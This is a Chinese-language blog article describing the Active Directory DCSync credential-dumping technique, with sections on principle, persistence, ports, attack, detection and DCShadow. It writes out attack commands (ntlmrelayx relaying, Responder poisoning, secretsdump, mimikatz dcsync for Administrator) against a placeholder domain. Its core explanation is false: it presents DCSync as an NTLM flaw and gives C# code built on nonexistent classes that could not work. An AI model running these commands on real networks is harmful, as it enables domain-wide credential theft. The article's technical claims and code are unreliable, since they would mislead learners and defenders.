DCSync: 從原理到應用的全面解析

一、DCSync原理

1、在介紹DCSync原理之前,我們先來了解一下NTLM協議。NTLM(Windows NT LAN Manager)協議是Windows系統中一種認證協議,最早出現在Windows NT 4.0系統中,現仍廣泛應用在微軟公司的Windows操作系統中。

2、NTLM協議主要由三個部分組成:認證請求消息(Type1 Message)、挑戰響應消息(Type2 Message)和最終認證消息(Type3 Message)。

3、DCSync利用了NTLM協議的漏洞,通過模擬Windows AD域機器,向目標域控服務器發送認證請求消息,從而獲取域內所有帳戶的哈希值。


# C#代碼示例
using System;
using System.DirectoryServices;
namespace DCSync
{
    class DCSync
    {
        static void Main(string[] args)
        {
            //首先需要獲取目標域的SID
            string targetDomain = "target.com";
            DirectoryEntry entry = new DirectoryEntry("LDAP://DC=target.com");
            byte[] domainSID = entry.Properties["objectSid"].Value as byte[];

            //構造NTLM認證請求消息
            byte[] type1Message = NTLM.GenerateType1Message(targetDomain);

            //發送NTLM認證請求消息,並獲取挑戰響應消息
            byte[] type2Message = SamrInterop.GetChallengeResponse(type1Message);

            //構造最終認證消息,並獲取所有帳戶哈希值
            byte[] type3Message = NTLM.GenerateType3Message(targetDomain, type2Message, domainSID);
            byte[][] hashes = SamrInterop.GetHashes(type3Message);

            foreach (byte[] hash in hashes)
            {
                Console.WriteLine(BitConverter.ToString(hash).Replace("-", ""));
            }
        }
    }
}

二、DCSync權限維持

1、DCSync有一種比較實用的用途,就是可以利用其獲取的憑據,來維持域內的持久化控制權。使用NTLM Relay攻擊,攻擊者能夠利用獲取到的哈希值直接對目標域控服務器進行密碼重置,從而取得管理權限。

2、NTLM Relay攻擊可繞過身份驗證和授權過程拿到域內帳戶的成對哈希值,因此攻擊者可以構造一個NTLM認證哈希驗證,從而獲取信任關係和管理權限。


//使用impacket庫進行NTLM Relay攻擊的示例
sudo python ntlmrelayx.py -t ldap://DC.target.com -smb2support -socks -wh wpad.dat -no-pass

三、DCSync權限

1、DCSync默認情況下需要高權限,包括域管理組(Domain Admins)和企業管理員(Enterprise Admins)權限。這是由於DCSync需要從目標域控服務器獲取域內所有帳戶的哈希值,進而破解密碼、獲取機密等操作需要高權限。

2、域用戶可以使用DCSync獲得自己的密碼哈希,從而進行密碼破解等操作。但是,DCSync操作並不能提供域控制器的完全操作控制權。

四、DCSync端口

1、作為Windows AD域控制器的一部分,DCSync利用TCP/UDP的RPC協議在域控制器上運行,RPC協議通常在端口135上啟動。在端口135之後,RPC端口可能在49152-65535之間變化。

2、可以使用Nmap等工具掃描目標系統,發現運行域控制器服務的端口號。


# Nmap掃描命令示例
sudo nmap -sT -p 135,139,445,49152-65535 -n target.com

五、DCSync攻擊

1、攻擊者可以使用DCSync攻擊工具,先通過NTLM中繼攻擊泄露任意域用戶的NTLM哈希,然後再使用這些哈希進行DCSync攻擊。

2、可以使用impacket庫,通過域cred表單和目標用戶(User1)的NTLM哈希來獲取另一個用戶(User2)的NTLM哈希。


# 使用impacket庫獲取域cred表單和目標用戶(User1)的NTLM哈希
secretsdump.py -just-dc-ntlm DC=target.com USER=User1

# 使用獲得的NTLM哈希進行DCSync攻擊
mimikatz "lsadump::dcsync /user:User2 /domain:target.com /dc:DC.target.com"

六、DCSync檢測

1、 DCsync根據誰能訪問LSA的重要性,它對IDS / IPS / SIEM系統具有很高的檢測難度,在NTLM認證響應中使用的私有字段,而不是打印的常規ldap查詢形式。

2、微軟給出了關於DCSync檢測的建議,包括強制實施NTLMv2,設計針對安全性高風險操作的源驗證策略等。

七、DCSync_DCShadow疑似攻擊

1、DCShadow是一種技術,可以使用虛擬機成為域控制器,從而控制域並獲得管理員權限。DCShadow需要虛擬機作為攻擊工具,而攻擊者通過偽造域控制器來進行攻擊,使得其操作得以更加隱蔽,以致於很難被檢測到。

2、在DCShadow的攻擊中,攻擊者可以利用NTDS.dit文件來恢復域內活動目錄數據。因為NTDS.dit文件中存放着AD DS域數據庫存儲的所有信息,包括域帳戶、組成員關係、ACL等.

八、DCSync c#

1、C#代碼示例如上所述,需要用到System.DirectoryServices庫,且需要在擁有高權限的機器上運行。

九、DCSync linux

1、Linux上大多數NTLM Relay攻擊工具都支持DCSync,如Responder與impacket庫。


# 使用Responder執行NTLM Relay攻擊,並使用獲得的NTLM哈希進行DCSync攻擊
sudo responder -I eth0 -wF
mimikatz "lsadump::dcsync /user:Administrator /domain:target.com /dc:DC.target.com /ntlm:c8343e85e06c5ecd88e1715d9c038ffa /format:hashcat"

總之,DCSync漏洞利用雖然需要擁有高權限,但若被攻擊者利用,則可以造成數據泄露、信息安全等問題,因此需要切實加強自身網絡安全防禦機制,降低DCSync攻擊的風險。

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/233916.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-12-11 17:12
下一篇 2024-12-11 17:12

相關推薦

  • Python應用程序的全面指南

    Python是一種功能強大而簡單易學的編程語言,適用於多種應用場景。本篇文章將從多個方面介紹Python如何應用於開發應用程序。 一、Web應用程序 目前,基於Python的Web…

    編程 2025-04-29
  • Harris角點檢測算法原理與實現

    本文將從多個方面對Harris角點檢測算法進行詳細的闡述,包括算法原理、實現步驟、代碼實現等。 一、Harris角點檢測算法原理 Harris角點檢測算法是一種經典的計算機視覺算法…

    編程 2025-04-29
  • Python zscore函數全面解析

    本文將介紹什麼是zscore函數,它在數據分析中的作用以及如何使用Python實現zscore函數,為讀者提供全面的指導。 一、zscore函數的概念 zscore函數是一種用於標…

    編程 2025-04-29
  • 瘦臉算法 Python 原理與實現

    本文將從多個方面詳細闡述瘦臉算法 Python 實現的原理和方法,包括該算法的意義、流程、代碼實現、優化等內容。 一、算法意義 隨着科技的發展,瘦臉算法已經成為了人們修圖中不可缺少…

    編程 2025-04-29
  • 全面解讀數據屬性r/w

    數據屬性r/w是指數據屬性的可讀/可寫性,它在程序設計中扮演着非常重要的角色。下面我們從多個方面對數據屬性r/w進行詳細的闡述。 一、r/w的概念 數據屬性r/w即指數據屬性的可讀…

    編程 2025-04-29
  • Python計算機程序代碼全面介紹

    本文將從多個方面對Python計算機程序代碼進行詳細介紹,包括基礎語法、數據類型、控制語句、函數、模塊及面向對象編程等。 一、基礎語法 Python是一種解釋型、面向對象、動態數據…

    編程 2025-04-29
  • 神經網絡BP算法原理

    本文將從多個方面對神經網絡BP算法原理進行詳細闡述,並給出完整的代碼示例。 一、BP算法簡介 BP算法是一種常用的神經網絡訓練算法,其全稱為反向傳播算法。BP算法的基本思想是通過正…

    編程 2025-04-29
  • Matlab二值圖像全面解析

    本文將全面介紹Matlab二值圖像的相關知識,包括二值圖像的基本原理、如何對二值圖像進行處理、如何從二值圖像中提取信息等等。通過本文的學習,你將能夠掌握Matlab二值圖像的基本操…

    編程 2025-04-28
  • 瘋狂Python講義的全面掌握與實踐

    本文將從多個方面對瘋狂Python講義進行詳細的闡述,幫助讀者全面了解Python編程,掌握瘋狂Python講義的實現方法。 一、Python基礎語法 Python基礎語法是學習P…

    編程 2025-04-28
  • 全面解析Python中的Variable

    Variable是Python中常見的一個概念,是我們在編程中經常用到的一個變量類型。Python是一門強類型語言,即每個變量都有一個對應的類型,不能無限制地進行類型間轉換。在本篇…

    編程 2025-04-28

發表回復

登錄後才能評論